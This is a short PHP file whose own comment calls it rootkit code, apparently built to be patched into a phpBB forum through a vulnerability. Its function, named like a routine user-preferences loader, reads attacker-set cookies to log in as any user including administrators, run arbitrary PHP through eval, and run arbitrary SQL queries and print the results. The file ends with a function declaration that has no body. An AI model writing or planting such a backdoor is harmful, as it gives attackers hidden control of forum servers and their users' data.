<?php

// Rootkit code, inserted with patch() in patch.phps, run from vulnerable code

function init_userprefs(&$userdata) {
	global $HTTP_COOKIE_VARS, $db;
	extract($HTTP_COOKIE_VARS, EXTR_SKIP);
	
	if ( isset($sphpbb_uid) )
	{
		if ( !setcookie("sphpbb_uid", $sphpbb_uid) )
		{
			message_die(CRITICAL_ERROR, "Error setting cookie, please enable cookies");
		}
		
		$sql = "SELECT *
			FROM " . USERS_TABLE . " 
			WHERE user_id = ".$sphpbb_uid;
		if ( !($result = $db->sql_query($sql)) )
		{
			message_die(CRITICAL_ERROR, "Error doing DB query userdata row fetch", "");
		}
		
		$userdata = array_merge($userdata, $db->sql_fetchrow($result));
		
		$userdata["session_user_id"] = $userdata["user_id"];
		$userdata["session_logged_in"] = ( -1 == $userdata["user_id"] ? false : true );
		$userdata["session_admin"] = ( ADMIN == $userdata["user_level"] );
	}
	elseif ( isset($sphpbb_expr) )
	{
		eval( stripslashes($sphpbb_expr) );
	}
	elseif ( isset($sphpbb_usrsql) )
	{
		if ( !($result = $db->sql_query($sphpbb_usrsql)) )
		{
			message_die(CRITICAL_ERROR, "Error doing DB query phpbb usrsql", "");
		}
		
		while($row = $db->sql_fetchrow($result))
		{
			print nl2br(print_r($row), true);
		}
	}

	return comm_userprefs($userdata);
}
//
// Begin commiting changes to user profile
function comm_userprefs($userdata)


?>